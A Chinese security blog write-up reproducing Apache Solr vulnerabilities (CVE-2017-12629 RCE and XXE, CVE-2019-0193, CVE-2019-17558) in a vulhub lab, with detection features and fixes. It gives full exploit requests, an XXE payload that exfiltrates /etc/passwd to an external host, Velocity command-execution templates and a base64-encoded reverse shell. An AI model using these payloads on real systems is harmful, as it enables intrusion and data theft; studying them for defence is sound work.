Apache Solr漏洞总结

  • A+
所属分类:安全文章

Apache Solr简介

Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniqueKey>id</uniqueKey>进行描述。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞汇总

Apache Solr漏洞总结

CVE-2017-12629 远程命令执行漏洞

漏洞简述

    Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

漏洞影响版本

    Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

Apache Solr < 7.1Apache Lucene < 7.1包括RedhatSingle Sign-On 7.0+ Redhat Linux 6.2 E sparc+ Redhat Linux 6.2 E i386+ Redhat Linux 6.2 E alpha+ Redhat Linux 6.2 sparc+ Redhat Linux 6.2 i386+ Redhat Linux 6.2 alphaRedhat JBoss Portal Platform 6Redhat JBoss EAP 7 0Redhat Jboss EAP 6Redhat JBoss Data Grid 7.0.0Redhat Enterprise Linux 6+ Trustix Secure Enterprise Linux 2.0+ Trustix Secure Linux 2.2+ Trustix Secure Linux 2.1+ Trustix Secure Linux 2.0Redhat Collections for Red Hat EnterpriseLinux 0Apache Solr 6.6.1Apache Solr 6.6Apache Solr 6.5.1Apache Solr 6.5Apache Solr 6.4Apache Solr 6.3Apache Solr 6.2Apache Solr 6.6Apache Solr 6.3Apache Solr 6.0ApacheLucene 0

环境搭建

    使用docker搭建的vulhub靶场

漏洞分析

    RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令

Apache Solr漏洞总结

使用了config API传入add-listener命令即可调用RunExecutableListener

Apache Solr漏洞总结

漏洞攻击主要特征

1) 端口:8983, http
2) 路径是:/config HTTP/1.1
3) 载荷中必要特征是:
Content:update-listener或create-listener
Content:"event": "postCommit"(备选)
Content: "class":"solr.RunExecutableListener"

漏洞复现

    1.启动漏洞环境后访问 ip:8983

Apache Solr漏洞总结

    2.首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参

POST /solr/demo/config HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 169
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/"," args":["-c", "touch /tmp/cve-2017-12629"]}}

    这里的“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作

Apache Solr漏洞总结

    3.然后进行update操作,触发刚刚添加的listener

POST /solr/demo/update HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 17
[{"id":"test"}]

Apache Solr漏洞总结

    4.进入容器可以发现 /tmp/ ,目录下已经成功创建了一个文件

Apache Solr漏洞总结

如何进行防护

1.添加Solr访问控制,包括禁止本地直接未授权访问
2.针对RCE问题,由于涉及的是SolrCloud所以建议在所有节点中添加filter,进行相关过滤


CVE-2017-12629 XXE漏洞

漏洞简述

Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和Apache Lucene实现。原理基本上是文档通过Http利用XML加到一个搜索集合中

漏洞影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

漏洞分析

这是一个典型的XXE漏洞的缺陷编码示例,Lucene包含了一个查询解析器支持XML格式进行数据查询,出现问题的代码片段在 /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java 文件中

Apache Solr漏洞总结

通过查看调用栈中的数据处理流程,在调用lucene xml解析器时确实没有对DTD和外部实体进行替换处理,造成了盲目XXE

Apache Solr漏洞总结

漏洞复现

1.先构造一个站点,放置dtd文件(里面写要执行的代码),然后用solr去包含这个dtd站点,就会自动读取dtd文件中的文件路径

构造dtd站点,这里使用phpstudy搭建
创建一个1.dtd文件,dtd文件内容如下

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

Apache Solr漏洞总结

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞。

访问solr服务,触发我们的dtd文件,浏览器输入如下payload,里面的IP和文件名称根据实际情况修改,这里solr的ip为192.168.239.170,文件名称是1.dtd (payload需要进行url编码)

http://192.168.239.129:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.239.170%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

Apache Solr漏洞总结

GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.50.167%2f1.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1Host: 192.168.50.248:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

Apache Solr漏洞总结


CVE-2019-0193 远程命令执行漏洞

漏洞简述

漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响版本

Apache Solr < 8.2.0
Apache Solr 5.x - 8.2.0,存在config API版本

漏洞原理

该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

漏洞复现

使用docker搭建的vulhub靶场
1.创建名为test的Core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

2.搭建好后访问页面。默认端口为8983

Apache Solr漏洞总结

3.选择刚创建的 text 核心,直接构造POST请求,在/solr/test/config目录下POST请求发送以下数据 (修改Core的配置)

{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}

Apache Solr漏洞总结

3.使用EXP进行攻击

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr漏洞总结

4.成功执行系统命令

另一种执行命令的方法

1.选择刚创建好的 test 核心,选择 Dataimport 功能并选择 debug 模块,将以下POC填入(原来的删除)

<dataConfig>  <dataSource type="URLDataSource"/>  <script><![CDATA[          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");          }  ]]></script>  <document>    <entity name="stackoverflow"            url="https://stackoverflow.com/feeds/tag/solr"            processor="XPathEntityProcessor"            forEach="/feed"            transformer="script:poc" />  </document></dataConfig>

Apache Solr漏洞总结

2.点击 Execute with this Confuguration 执行POC,发送数据包

Apache Solr漏洞总结

3.执行POC成功后,进入docker容器,可以难倒 /tmp/success 已成功创建

Apache Solr漏洞总结

4.反弹shell
修改POC后,点击提交按钮发送

<dataConfig>  <dataSource type="URLDataSource"/>  <script><![CDATA[          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjE2Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");          }  ]]></script>  <document>    <entity name="stackoverflow"            url="https://stackoverflow.com/feeds/tag/solr"            processor="XPathEntityProcessor"            forEach="/feed"            transformer="script:poc" />  </document></dataConfig>

成功反弹shell

Apache Solr漏洞总结


CVE-2019-17558 远程命令执行漏洞

漏洞概述

Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。

漏洞影响版本

Apache Solr 5.0.0 ~8.3.1

漏洞复现

1.访问漏洞环境 ip:8983

Apache Solr漏洞总结

2.默认情况下 params.resource.loader.enabled 配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心。可以先通过如下API获取所有的核心 (在vulhub中核心就是demo)

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Apache Solr漏洞总结

3.启用配置 params.resource.loader.enabled ,在url访问/solr/demo/config使用Burp抓包改成POST然后修改启动配置 (然后把Content-Type修改成application/json)

后边路径如下:/solr/获取的内核名称/config

{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",     "params.resource.loader.enabled": "true"  }}

Apache Solr漏洞总结

4.通过Velocity模板执行命令,如whoami。修改exec(%27whoami%27)中的代码即可更改命令。使用如下命令

http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr漏洞总结

5.成功执行系统命令

漏洞利用工具

下载地址: (https://github.com/jas502n/solr_rce) python2的环境

Apache Solr漏洞总结

Apache Solr漏洞总结

修复建议

1、更新到 Apache Solr 8.4或更高版本;
2、配置安全组,仅允许可信网络流量访问Solr服务。


本文始发于微信公众号(黑白天实验室):Apache Solr漏洞总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: